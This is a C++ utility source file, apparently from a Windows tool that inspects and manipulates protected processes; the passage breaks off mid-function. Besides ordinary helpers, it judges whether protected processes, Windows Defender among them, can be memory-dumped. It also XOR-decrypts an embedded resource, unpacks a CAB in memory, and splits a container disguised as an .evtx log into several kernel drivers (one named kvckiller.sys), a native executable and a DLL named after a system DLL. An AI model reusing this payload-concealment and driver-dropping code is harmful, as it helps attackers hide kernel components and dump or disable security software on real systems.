    switch (static_cast<PS_PROTECTED_TYPE>(level)) {
        case PS_PROTECTED_TYPE::None: return L"None";
        case PS_PROTECTED_TYPE::ProtectedLight: return L"PPL";
        case PS_PROTECTED_TYPE::Protected: return L"PP";
        default: return L"Unknown";
    }
}

// Converts signer type enum to readable string
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept
{
    switch (static_cast<PS_PROTECTED_SIGNER>(signerType)) {
        case PS_PROTECTED_SIGNER::None: return L"None";
        case PS_PROTECTED_SIGNER::Authenticode: return L"Authenticode";
        case PS_PROTECTED_SIGNER::CodeGen: return L"CodeGen";
        case PS_PROTECTED_SIGNER::Antimalware: return L"Antimalware";
        case PS_PROTECTED_SIGNER::Lsa: return L"Lsa";
        case PS_PROTECTED_SIGNER::Windows: return L"Windows";
        case PS_PROTECTED_SIGNER::WinTcb: return L"WinTcb";
        case PS_PROTECTED_SIGNER::WinSystem: return L"WinSystem";
        case PS_PROTECTED_SIGNER::App: return L"App";
        default: return L"Unknown";
    }
}

// Maps signature level byte to descriptive string
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept
{
    static const std::unordered_map<UCHAR, const wchar_t*> levelMap = {
        {0x00, L"None"},
        {0x01, L"Unsigned"},
        {0x02, L"Custom1"},
        {0x04, L"Custom2"},
        {0x08, L"Authenticode"},
        {0x10, L"Catalog"},
        {0x20, L"Catalog2"},
        {0x40, L"Store"},
        {0x80, L"AntiMalware"},
        {0x0C, L"Standard"},
        {0x0F, L"Microsoft"},
        {0x07, L"WinSystem"},
        {0x08, L"App"},
        {0x1C, L"System"},
        {0x1E, L"Kernel"},
        {0x37, L"WinSystem"},
        {0x3C, L"Service"},
        {0x3E, L"Critical"}
    };
    
    auto it = levelMap.find(signatureLevel);
    return (it != levelMap.end()) ? it->second : L"Custom";
}

// Section signature uses same mapping as regular signature level

// Parses protection level string (PP/PPL/None) to enum value
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& levelStr) noexcept
{
	std::wstring lower = StringUtils::ToLowerCaseCopy(levelStr);
    
    static const std::unordered_map<std::wstring, UCHAR> levelMap = {
        {L"pp", static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)},
        {L"ppl", static_cast<UCHAR>(PS_PROTECTED_TYPE::ProtectedLight)},
        {L"none", static_cast<UCHAR>(PS_PROTECTED_TYPE::None)},
        {L"0", static_cast<UCHAR>(PS_PROTECTED_TYPE::None)}
    };
    
    auto it = levelMap.find(lower);
    return (it != levelMap.end()) ? std::make_optional(it->second) : std::nullopt;
}

// Parses signer type string to enum value
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerStr) noexcept
{
	std::wstring lower = StringUtils::ToLowerCaseCopy(signerStr);

    static const std::unordered_map<std::wstring, UCHAR> signerMap = {
        {L"none", static_cast<UCHAR>(PS_PROTECTED_SIGNER::None)},
        {L"authenticode", static_cast<UCHAR>(PS_PROTECTED_SIGNER::Authenticode)},
        {L"codegen", static_cast<UCHAR>(PS_PROTECTED_SIGNER::CodeGen)},
        {L"antimalware", static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware)},
        {L"lsa", static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa)},
        {L"windows", static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows)},
        {L"wintcb", static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb)},
        {L"winsystem", static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem)},
        {L"app", static_cast<UCHAR>(PS_PROTECTED_SIGNER::App)}
    };
    
    auto it = signerMap.find(lower);
    return (it != signerMap.end()) ? std::make_optional(it->second) : std::nullopt;
}

// Returns appropriate signature level for given signer type
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept
{
    switch (static_cast<PS_PROTECTED_SIGNER>(signerType)) {
        case PS_PROTECTED_SIGNER::Windows:
        case PS_PROTECTED_SIGNER::WinTcb:
        case PS_PROTECTED_SIGNER::WinSystem:
            return 0x0F; // Microsoft signature
        case PS_PROTECTED_SIGNER::Antimalware:
            return 0x08; // Antimalware signature
        case PS_PROTECTED_SIGNER::Lsa:
            return 0x06; // LSA signature
        default:
            return 0x04; // Standard signature
    }
}


// ============================================================================
// MEMORY OPERATION UTILITIES  
// ============================================================================

// Analyzes if a process can be dumped based on protection level and type
// Returns detailed reason why dumping may fail or what privileges are needed
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName, 
                                  UCHAR protectionLevel, UCHAR signerType) noexcept
{
    ProcessDumpability result;
    result.CanDump = false;

    // System kernel processes that cannot be dumped under any circumstances
    static const std::unordered_set<DWORD> undumpablePids = {
        4  // System kernel process
    };

    static const std::unordered_set<std::wstring> undumpableNames = {
        L"System", L"Secure System", L"Registry", L"Memory Compression"
    };

    if (undumpablePids.find(pid) != undumpablePids.end()) {
        result.CanDump = false;
        result.Reason = L"System kernel process - undumpable by design";
        return result;
    }

    if (undumpableNames.find(processName) != undumpableNames.end()) {
        result.CanDump = false;
        
        if (processName == L"System") {
            result.Reason = L"Windows kernel (PID 4) - undumpable by design";
        } else if (processName == L"Secure System") {
            result.Reason = L"VBS/VSM protected - requires Secure Kernel access";
        } else if (processName == L"Registry") {
            result.Reason = L"Kernel registry subsystem - undumpable by design";
        } else {
            result.Reason = L"System process - undumpable by design";
        }
        return result;
    }

    // Windows Defender components - show required protection dynamically
    if (processName == L"MsMpEng.exe" || processName == L"MpDefenderCoreService.exe" || 
        processName == L"NisSrv.exe") {
        result.CanDump = true;
        std::wstring signerName = GetSignerTypeAsString(signerType);
        result.Reason = L"Protected - requires PPL-" + signerName + L" or higher";
        return result;
    }

    // Security Health Service
    if (processName == L"SecurityHealthService.exe") {
        result.CanDump = true;
        result.Reason = L"Protected - requires PPL-Windows or higher";
        return result;
    }

    // Any other protected process - show actual signer requirement
    if (protectionLevel > 0) {
        result.CanDump = true;
        std::wstring signerName = GetSignerTypeAsString(signerType);
        result.Reason = L"Protected - requires PPL-" + signerName + L" or higher";
        return result;
    }

    // Unprotected process - standard privileges work
    result.CanDump = true;
    result.Reason = L"Unprotected process - standard dump privileges sufficient";
    return result;
}
// ============================================================================
// KERNEL ADDRESS RESOLUTION
// ============================================================================

// Resolves kernel base address using NtQuerySystemInformation
// Caches result for 60 seconds to avoid repeated system calls
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept
{
    static ULONG_PTR cachedBase = 0;
    static DWORD lastCheck = 0;
    
    const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
    if (cachedBase != 0 && (currentTick - lastCheck) < 60000) {
        return cachedBase;
    }
    
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        return std::nullopt;
    }

    auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
        GetProcAddress(hNtdll, "NtQuerySystemInformation"));
    
    if (!pNtQuerySystemInformation) {
        return std::nullopt;
    }

    // Query required buffer size first
    ULONG bufferSize = 0;
    NTSTATUS status = pNtQuerySystemInformation(
        SystemModuleInformation, 
        nullptr, 
        0, 
        &bufferSize
    );

    if (status != STATUS_INFO_LENGTH_MISMATCH) {
        return std::nullopt;
    }

    std::vector<BYTE> buffer(bufferSize);
    status = pNtQuerySystemInformation(
        SystemModuleInformation,
        buffer.data(),
        bufferSize,
        &bufferSize
    );

    if (status != 0) {
        return std::nullopt;
    }

    // First module is always ntoskrnl.exe (kernel)
    auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
    if (modules->Count > 0) {
        cachedBase = reinterpret_cast<ULONG_PTR>(modules->Modules[0].ImageBase);
        lastCheck = currentTick;
        return cachedBase;
    }

    return std::nullopt;
}

// ============================================================================
// FILE OPERATION UTILITIES
// ============================================================================

// Reads entire file into memory with 256MB size limit for safety
std::vector<BYTE> ReadFile(const std::wstring& filePath) noexcept
{
    FileGuard file(CreateFileW(
        filePath.c_str(),
        GENERIC_READ,
        FILE_SHARE_READ,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    ));

    if (!file) {
        DEBUG(L"CreateFileW failed for %s: %d", filePath.c_str(), GetLastError());
        return {};
    }

    LARGE_INTEGER fileSize;
    if (!GetFileSizeEx(file.get(), &fileSize)) {
        DEBUG(L"GetFileSizeEx failed: %d", GetLastError());
        return {};
    }

    if (fileSize.QuadPart == 0 || fileSize.QuadPart > 0x10000000) {
        DEBUG(L"Invalid file size: %lld", fileSize.QuadPart);
        return {};
    }

    std::vector<BYTE> buffer(static_cast<size_t>(fileSize.QuadPart));
    DWORD bytesRead = 0;

    if (!::ReadFile(file.get(), buffer.data(), static_cast<DWORD>(buffer.size()), &bytesRead, nullptr) ||
        bytesRead != buffer.size()) {
        DEBUG(L"ReadFile failed: %d, read %d/%zu bytes",
              GetLastError(), bytesRead, buffer.size());
        return {};
    }

    return buffer;
}

// Loads embedded resource from executable's resource section
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType)
{
    const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType);
    if (!hRes) {
        DEBUG(L"FindResource failed: %d", GetLastError());
        return {};
    }
    
    const HGLOBAL hData = LoadResource(nullptr, hRes);
    if (!hData) {
        DEBUG(L"LoadResource failed: %d", GetLastError());
        return {};
    }
    
    const DWORD dataSize = SizeofResource(nullptr, hRes);
    if (dataSize == 0) {
        DEBUG(L"Resource size is 0");
        return {};
    }
    
    void* pData = LockResource(hData);
    if (!pData) {
        DEBUG(L"LockResource failed");
        return {};
    }
    
    return std::vector<BYTE>(static_cast<const BYTE*>(pData), 
                            static_cast<const BYTE*>(pData) + dataSize);
}

// Aggressively deletes file, removing attributes and scheduling delayed deletion if needed
bool ForceDeleteFile(const std::wstring& path) noexcept
{
    // Try normal deletion first
    if (DeleteFileW(path.c_str())) {
        return true;
    }

    // Remove read-only/system/hidden attributes and retry
    DWORD attrs = GetFileAttributesW(path.c_str());
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL);
    }

    if (DeleteFileW(path.c_str())) {
        return true;
    }

    // Last resort: move to temp and schedule deletion on reboot
    wchar_t tempPath[MAX_PATH];
    if (GetTempPathW(MAX_PATH, tempPath)) {
        wchar_t tempFile[MAX_PATH];
        if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) {
            if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) {
                MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT);
                return true;
            }
        }
    }

    return false;
}

// Writes data to file in 64KB chunks to handle large files efficiently
bool WriteFile(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
    if (data.empty()) {
        DEBUG(L"Attempted to write empty data");
        return false;
    }

    // Create parent directories if needed
    const fs::path path = filePath;
    std::error_code ec;
    fs::create_directories(path.parent_path(), ec);

    // Try to delete existing file first
    if (fs::exists(path)) {
        if (!ForceDeleteFile(filePath)) {
            // Attempt overwrite with backup semantics if delete fails
            FileGuard testFile(CreateFileW(filePath.c_str(),
                                           GENERIC_WRITE,
                                           0,
                                           nullptr,
                                           OPEN_EXISTING,
                                           FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS,
                                           nullptr));
            if (!testFile) {
                DEBUG(L"Failed to delete or overwrite existing file: %s", filePath.c_str());
                return false;
            }
        }
    }

    FileGuard file(CreateFileW(filePath.c_str(),
                               GENERIC_WRITE,
                               0,
                               nullptr,
                               CREATE_ALWAYS,
                               FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN,
                               nullptr));

    if (!file) {
        DEBUG(L"CreateFileW failed for %s: %d", filePath.c_str(), GetLastError());
        return false;
    }

    // Write in chunks to handle memory pressure on large files
    constexpr DWORD CHUNK_SIZE = 64 * 1024;
    DWORD totalWritten = 0;
    const DWORD totalSize = static_cast<DWORD>(data.size());

    while (totalWritten < totalSize) {
        const DWORD bytesToWrite = std::min(CHUNK_SIZE, totalSize - totalWritten);
        DWORD bytesWritten;

        if (!::WriteFile(file.get(), data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) {
            DEBUG(L"WriteFile failed: %d", GetLastError());
            return false;
        }

        if (bytesWritten != bytesToWrite) {
            DEBUG(L"Incomplete write: %d/%d bytes", bytesWritten, bytesToWrite);
            return false;
        }

        totalWritten += bytesWritten;
    }

    DEBUG(L"Successfully wrote %d bytes to %s", totalSize, filePath.c_str());
    return true;
}

// ============================================================================
// CRYPTOGRAPHIC UTILITIES
// ============================================================================

// Simple XOR decryption using repeating key
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData, 
                            const std::array<BYTE, 7>& key) noexcept
{
    if (encryptedData.empty()) {
        return {};
    }

    std::vector<BYTE> decryptedData = encryptedData;
    
    for (size_t i = 0; i < decryptedData.size(); ++i) {
        decryptedData[i] ^= key[i % key.size()];
    }
    
    return decryptedData;
}

// Calculates actual PE file size by examining section headers
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset) noexcept
{
    if (offset + sizeof(IMAGE_DOS_HEADER) > data.size()) {
        return std::nullopt;
    }
    
    const IMAGE_DOS_HEADER* dosHeader = reinterpret_cast<const IMAGE_DOS_HEADER*>(data.data() + offset);
    
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return std::nullopt;
    }
    
    if (offset + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) > data.size()) {
        return std::nullopt;
    }
    
    const IMAGE_NT_HEADERS* ntHeaders = reinterpret_cast<const IMAGE_NT_HEADERS*>(
        data.data() + offset + dosHeader->e_lfanew
    );
    
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return std::nullopt;
    }
    
    // Find highest section end offset
    DWORD maxOffset = 0;
    const IMAGE_SECTION_HEADER* sections = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) {
        DWORD sectionEnd = sections[i].PointerToRawData + sections[i].SizeOfRawData;
        if (sectionEnd > maxOffset) {
            maxOffset = sectionEnd;
        }
    }
    
    return maxOffset;
}

// Splits concatenated PE files into separate components
bool SplitCombinedPE(const std::vector<BYTE>& combinedData,
                    std::vector<BYTE>& firstPE, 
                    std::vector<BYTE>& secondPE) noexcept
{
    if (combinedData.size() < sizeof(IMAGE_DOS_HEADER) * 2) {
        DEBUG(L"Combined data too small for two PE files");
        return false;
    }

    // Parse first PE to find where it ends
    auto firstLength = GetPEFileLength(combinedData, 0);
    if (!firstLength) {
        DEBUG(L"Failed to parse first PE file");
        return false;
    }
    
    if (*firstLength >= combinedData.size()) {
        DEBUG(L"First PE file length exceeds combined data size");
        return false;
    }
    
    // Validate second PE starts where first ends
    auto secondLength = GetPEFileLength(combinedData, *firstLength);
    if (!secondLength) {
        DEBUG(L"Failed to parse second PE file");
        return false;
    }
    
    if (*firstLength + *secondLength > combinedData.size()) {
        DEBUG(L"Combined PE lengths exceed data size");
        return false;
    }
    
    // Extract both files
    firstPE.assign(combinedData.begin(), combinedData.begin() + *firstLength);
    secondPE.assign(combinedData.begin() + *firstLength, 
                   combinedData.begin() + *firstLength + *secondLength);
    
    DEBUG(L"Successfully split PE: first=%zu bytes, second=%zu bytes", 
          firstPE.size(), secondPE.size());
    
    return !firstPE.empty() && !secondPE.empty();
}

// ============================================================================
// STRING AND VALIDATION UTILITIES
// ============================================================================

// Checks if string contains only decimal digits
bool IsNumeric(const std::wstring& str) noexcept
{
    if (str.empty()) return false;
    
    return std::all_of(str.begin(), str.end(), [](wchar_t c) {
        return c >= L'0' && c <= L'9';
    });
}

// Safely parses PID string to DWORD with validation
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept
{
    if (!IsNumeric(pidStr)) {
        return std::nullopt;
    }
    
    try {
        DWORD pid = std::stoul(pidStr);
        return (pid > 0 && pid <= 0xFFFFFFFF) ? std::optional<DWORD>(pid) : std::nullopt;
    }
    catch (...) {
        return std::nullopt;
    }
}

// Converts hex string to bytes, handles 0x prefix and common separators
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept
{
    if (hexString.empty()) {
        bytes.clear();
        return true;
    }
    
    // Skip 0x or 0X prefix if present
    size_t startPos = 0;
    if (hexString.length() >= 2 && hexString[0] == L'0' && 
        (hexString[1] == L'x' || hexString[1] == L'X')) {
        startPos = 2;
    }
    
    // Filter out separators (spaces, commas, dashes)
    std::wstring cleanHex;
    cleanHex.reserve(hexString.length());
    
    for (size_t i = startPos; i < hexString.length(); ++i) {
        wchar_t c = hexString[i];
        if ((c >= L'0' && c <= L'9') || 
            (c >= L'a' && c <= L'f') || 
            (c >= L'A' && c <= L'F')) {
            cleanHex += c;
        }
    }
    
    if (cleanHex.empty() || (cleanHex.length() % 2) != 0) {
        return false;
    }
    
    bytes.clear();
    bytes.reserve(cleanHex.length() / 2);
    
    for (size_t i = 0; i < cleanHex.length(); i += 2) {
        std::wstring byteStr = cleanHex.substr(i, 2);
        wchar_t* end;
        BYTE byte = static_cast<BYTE>(wcstoul(byteStr.c_str(), &end, 16));
        
        if (*end != L'\0') {
            return false;
        }
        
        bytes.push_back(byte);
    }
    
    return true;
}

// Validates hex string format without allocating bytes
bool IsValidHexString(const std::wstring& hexString) noexcept
{
    std::vector<BYTE> dummy;
    return HexStringToBytes(hexString, dummy);
}

// Enables ANSI color codes in Windows console
bool EnableConsoleVirtualTerminal() noexcept
{
    // Enable UTF-8 output for international characters (Polish, Chinese, etc.)
    SetConsoleOutputCP(CP_UTF8);
    _setmode(_fileno(stdout), _O_U16TEXT);
    
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    if (hConsole == INVALID_HANDLE_VALUE) {
        return false;
    }

    DWORD consoleMode = 0;
    if (!GetConsoleMode(hConsole, &consoleMode)) {
        return false;
    }

    consoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
    return SetConsoleMode(hConsole, consoleMode);
}

// Returns appropriate ANSI color code for process based on protection attributes
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, 
                                     UCHAR sectionSignatureLevel) noexcept
{
    // Kernel processes get special purple color
    if (signatureLevel == 0x1e && sectionSignatureLevel == 0x1c) {
        return ProcessColors::PURPLE;
    }
    
    // Color by signer type from most to least restrictive
    if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa)) {
        return ProcessColors::RED;
    }
    
    if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb)) {
        return ProcessColors::GREEN;
    }
    
    if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem)) {
        return ProcessColors::BLUE;
    }
    
    if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows)) {
        return ProcessColors::CYAN;
    }
    
    if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware)) {
        return ProcessColors::YELLOW;
    }
    
    // Unsigned or unverified signatures
    bool hasUncheckedSignatures = (signatureLevel == 0x00 || sectionSignatureLevel == 0x00);
    if (hasUncheckedSignatures) {
        return ProcessColors::BLUE;
    }
    
    return ProcessColors::YELLOW;
}

// ============================================================================
// CAB DECOMPRESSION
// ============================================================================

// Context structures for FDI memory-based decompression
struct MemoryReadContext {
    const BYTE* data;
    size_t size;
    size_t offset;
};

static MemoryReadContext* g_cabContext = nullptr;
static std::vector<BYTE>* g_currentFileData = nullptr;

// FDI callbacks for memory allocation
static void* DIAMONDAPI fdi_alloc(ULONG cb) {
    return malloc(cb);
}

static void DIAMONDAPI fdi_free(void* pv) {
    free(pv);
}

// FDI open - returns memory context pointer
static INT_PTR DIAMONDAPI fdi_open(char* pszFile, int oflag, int pmode) {
    return g_cabContext ? (INT_PTR)g_cabContext : -1;
}

// FDI read - reads from memory buffer instead of file
static UINT DIAMONDAPI fdi_read(INT_PTR hf, void* pv, UINT cb) {
    MemoryReadContext* ctx = (MemoryReadContext*)hf;
    if (!ctx) return 0;
    
    size_t remaining = ctx->size - ctx->offset;
    size_t to_read = (cb < remaining) ? cb : remaining;
    
    if (to_read > 0) {
        memcpy(pv, ctx->data + ctx->offset, to_read);
        ctx->offset += to_read;
    }
    
    return static_cast<UINT>(to_read);
}

// FDI write - appends decompressed data to output buffer
static UINT DIAMONDAPI fdi_write(INT_PTR hf, void* pv, UINT cb) {
    if (g_currentFileData && cb > 0) {
        BYTE* data = static_cast<BYTE*>(pv);
        g_currentFileData->insert(g_currentFileData->end(), data, data + cb);
    }
    return cb;
}

static int DIAMONDAPI fdi_close(INT_PTR hf) {
    g_currentFileData = nullptr;
    return 0;
}

// FDI seek - seeks within memory buffer
static LONG DIAMONDAPI fdi_seek(INT_PTR hf, LONG dist, int seektype) {
    MemoryReadContext* ctx = (MemoryReadContext*)hf;
    if (!ctx) return -1;
    
    switch (seektype) {
        case SEEK_SET: ctx->offset = dist; break;
        case SEEK_CUR: ctx->offset += dist; break;
        case SEEK_END: ctx->offset = ctx->size + dist; break;
    }
    
    return static_cast<LONG>(ctx->offset);
}

// FDI notification handler - extracts kvc.evtx from CAB
static INT_PTR DIAMONDAPI fdi_notify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin) {
    std::vector<BYTE>* extractedData = static_cast<std::vector<BYTE>*>(pfdin->pv);
    
    switch (fdint) {
        case fdintCOPY_FILE:
            // Only extract kvc.evtx file
            if (pfdin->psz1) {
                std::string filename = pfdin->psz1;
                if (filename.find("kvc.evtx") != std::string::npos) {
                    g_currentFileData = extractedData;
                    return (INT_PTR)g_cabContext;
                }
            }
            return 0;
            
        case fdintCLOSE_FILE_INFO:
            g_currentFileData = nullptr;
            return TRUE;
            
        default:
            break;
    }
    return 0;
}

// Decompresses CAB file from memory and extracts kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept
{
    std::vector<BYTE> extractedFile;
    
    MemoryReadContext ctx = { cabData, cabSize, 0 };
    g_cabContext = &ctx;
    
    ERF erf{};
    HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read, 
                          fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf);
    
    if (!hfdi) {
        DEBUG(L"FDICreate failed: %d", erf.erfOper);
        g_cabContext = nullptr;
        return extractedFile;
    }
    
    char cabName[] = "memory.cab";
    char cabPath[] = "";
    
    BOOL result = FDICopy(hfdi, cabName, cabPath, 0, fdi_notify, nullptr, &extractedFile);
    
    FDIDestroy(hfdi);
    g_cabContext = nullptr;
    
    if (!result) {
        DEBUG(L"FDICopy failed: %d", erf.erfOper);
        return std::vector<BYTE>();
    }
    
    return extractedFile;
}

// Splits kvc.evtx container into kvc.sys, kvcstrm.sys and ExplorerFrame.dll
// Order is positional (mirrors kvc.ini concatenation order):
//   [0] kvc.sys        - IMAGE_SUBSYSTEM_NATIVE
//   [1] kvcstrm.sys - IMAGE_SUBSYSTEM_NATIVE
//   [2] ExplorerFrame.dll - non-Native
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
                  std::vector<BYTE>& outKvcSys,
                  std::vector<BYTE>& outKvcKiller,
                  std::vector<BYTE>& outKvcBlocker,
                  std::vector<BYTE>& outKvcstrm,
                  std::vector<BYTE>& outDll,
                  std::vector<BYTE>& outSmss) noexcept
{
    if (kvcData.size() < 2) {
        DEBUG(L"kvc.evtx too small");
        return false;
    }

    // Find all valid MZ signatures (PE headers) by verifying the PE signature
    std::vector<size_t> peOffsets;
    for (size_t i = 0; i < kvcData.size() - 1; i++) {
        if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) {
            // Validate e_lfanew
            if (i + 0x3C + sizeof(DWORD) <= kvcData.size()) {
                DWORD e_lfanew = *reinterpret_cast<const DWORD*>(&kvcData[i + 0x3C]);
                
                // Sanity check for e_lfanew (usually < 0x1000) and check if PE signature exists
                if (e_lfanew > 0 && e_lfanew < 0x1000 && i + e_lfanew + 4 <= kvcData.size()) {
                    if (kvcData[i + e_lfanew] == 0x50 && kvcData[i + e_lfanew + 1] == 0x45 &&
                        kvcData[i + e_lfanew + 2] == 0x00 && kvcData[i + e_lfanew + 3] == 0x00) {
                        peOffsets.push_back(i);
                    }
                }
            }
        }
    }

    // Accept 3 components (legacy), 4 (with kvc_smss), 5 (with kvckiller.sys), or 6 (with kvcblocker.sys)
    if (peOffsets.size() < 3 || peOffsets.size() > 6) {
        DEBUG(L"Expected 3-6 PE files in kvc.evtx, found %zu", peOffsets.size());
        return false;
    }

    auto getSubsystem = [](const std::vector<BYTE>& pe) -> WORD {
        if (pe.size() < 0x200) return 0;
        DWORD peOff = *reinterpret_cast<const DWORD*>(&pe[0x3C]);
        if (peOff + 0x5E > pe.size()) return 0;
        return *reinterpret_cast<const WORD*>(&pe[peOff + 0x5C]);
    };

    if (peOffsets.size() == 6) {
        // Order: kvc.sys | kvckiller.sys | kvcblocker.sys | kvcstrm.sys | kvc_smss.exe | ExplorerFrame.dll
        outKvcSys     = std::vector<BYTE>(kvcData.begin() + peOffsets[0], kvcData.begin() + peOffsets[1]);
        outKvcKiller  = std::vector<BYTE>(kvcData.begin() + peOffsets[1], kvcData.begin() + peOffsets[2]);
        outKvcBlocker = std::vector<BYTE>(kvcData.begin() + peOffsets[2], kvcData.begin() + peOffsets[3]);
        outKvcstrm    = std::vector<BYTE>(kvcData.begin() + peOffsets[3], kvcData.begin() + peOffsets[4]);
        outSmss       = std::vector<BYTE>(kvcData.begin() + peOffsets[4], kvcData.begin() + peOffsets[5]);
        outDll        = std::vector<BYTE>(kvcData.begin() + peOffsets[5], kvcData.end());

        if (getSubsystem(outKvcSys) != 1 || getSubsystem(outKvcKiller) != 1 ||
            getSubsystem(outKvcBlocker) != 1 || getSubsystem(outKvcstrm) != 1 ||
            getSubsystem(outSmss) != 1 || getSubsystem(outDll) == 1) {
            DEBUG(L"Subsystem sanity check failed (6-PE) - payload order mismatch");
            return false;
        }

        DEBUG(L"Split kvc.evtx (6): kvc.sys=%zu kvckiller.sys=%zu kvcblocker.sys=%zu kvcstrm.sys=%zu kvc_smss.exe=%zu ExplorerFrame.dll=%zu",
              outKvcSys.size(), outKvcKiller.size(), outKvcBlocker.size(), outKvcstrm.size(), outSmss.size(), outDll.size());
    } else if (peOffsets.size() == 5) {
        // Order: kvc.sys | kvckiller.sys | kvcstrm.sys | kvc_smss.exe | ExplorerFrame.dll
        outKvcSys     = std::vector<BYTE>(kvcData.begin() + peOffsets[0], kvcData.begin() + peOffsets[1]);
        outKvcKiller  = std::vector<BYTE>(kvcData.begin() + peOffsets[1], kvcData.begin() + peOffsets[2]);
        outKvcBlocker.clear();
        outKvcstrm    = std::vector<BYTE>(kvcData.begin() + peOffsets[2], kvcData.begin() + peOffsets[3]);
        outSmss       = std::vector<BYTE>(kvcData.begin() + peOffsets[3], kvcData.begin() + peOffsets[4]);
        outDll        = std::vector<BYTE>(kvcData.begin() + peOffsets[4], kvcData.end());

        if (getSubsystem(outKvcSys) != 1 || getSubsystem(outKvcKiller) != 1 || getSubsystem(outKvcstrm) != 1 ||
            getSubsystem(outSmss) != 1   || getSubsystem(outDll) == 1) {
            DEBUG(L"Subsystem sanity check failed (5-PE) - payload order mismatch");
            return false;
        }

        DEBUG(L"Split kvc.evtx (5): kvc.sys=%zu kvckiller.sys=%zu kvcstrm.sys=%zu kvc_smss.exe=%zu ExplorerFrame.dll=%zu",
              outKvcSys.size(), outKvcKiller.size(), outKvcstrm.size(), outSmss.size(), outDll.size());
    } else if (peOffsets.size() == 4) {
        // Order: kvc.sys | kvcstrm.sys | kvc_smss.exe | ExplorerFrame.dll (legacy, no kvckiller)
        outKvcSys     = std::vector<BYTE>(kvcData.begin() + peOffsets[0], kvcData.begin() + peOffsets[1]);
        outKvcKiller.clear();
        outKvcBlocker.clear();
        outKvcstrm    = std::vector<BYTE>(kvcData.begin() + peOffsets[1], kvcData.begin() + peOffsets[2]);
        outSmss       = std::vector<BYTE>(kvcData.begin() + peOffsets[2], kvcData.begin() + peOffsets[3]);
        outDll        = std::vector<BYTE>(kvcData.begin() + peOffsets[3], kvcData.end());

        if (getSubsystem(outKvcSys) != 1 || getSubsystem(outKvcstrm) != 1 ||
            getSubsystem(outSmss) != 1   || getSubsystem(outDll) == 1) {
            DEBUG(L"Subsystem sanity check failed (4-PE) - payload order mismatch");
            return false;
        }

        DEBUG(L"Split kvc.evtx (4): kvc.sys=%zu kvcstrm.sys=%zu kvc_smss.exe=%zu ExplorerFrame.dll=%zu",
              outKvcSys.size(), outKvcstrm.size(), outSmss.size(), outDll.size());
    } else {
        // Legacy 3-PE layout (no kvc_smss, no kvckiller)
        outKvcSys     = std::vector<BYTE>(kvcData.begin() + peOffsets[0], kvcData.begin() + peOffsets[1]);
        outKvcKiller.clear();
        outKvcBlocker.clear();
        outKvcstrm    = std::vector<BYTE>(kvcData.begin() + peOffsets[1], kvcData.begin() + peOffsets[2]);
        outDll        = std::vector<BYTE>(kvcData.begin() + peOffsets[2], kvcData.end());
        outSmss.clear();

        if (getSubsystem(outKvcSys) != 1 || getSubsystem(outKvcstrm) != 1 || getSubsystem(outDll) == 1) {
            DEBUG(L"Subsystem sanity check failed (3-PE) - payload order mismatch");
            return false;
        }

        DEBUG(L"Split kvc.evtx (3): kvc.sys=%zu kvcstrm.sys=%zu ExplorerFrame.dll=%zu",
              outKvcSys.size(), outKvcstrm.size(), outDll.size());
    }

    return true;
}

// Orchestrates full extraction: Resource -> XOR decrypt -> CAB decompress -> Split PEs
bool ExtractResourceComponents(int resourceId,
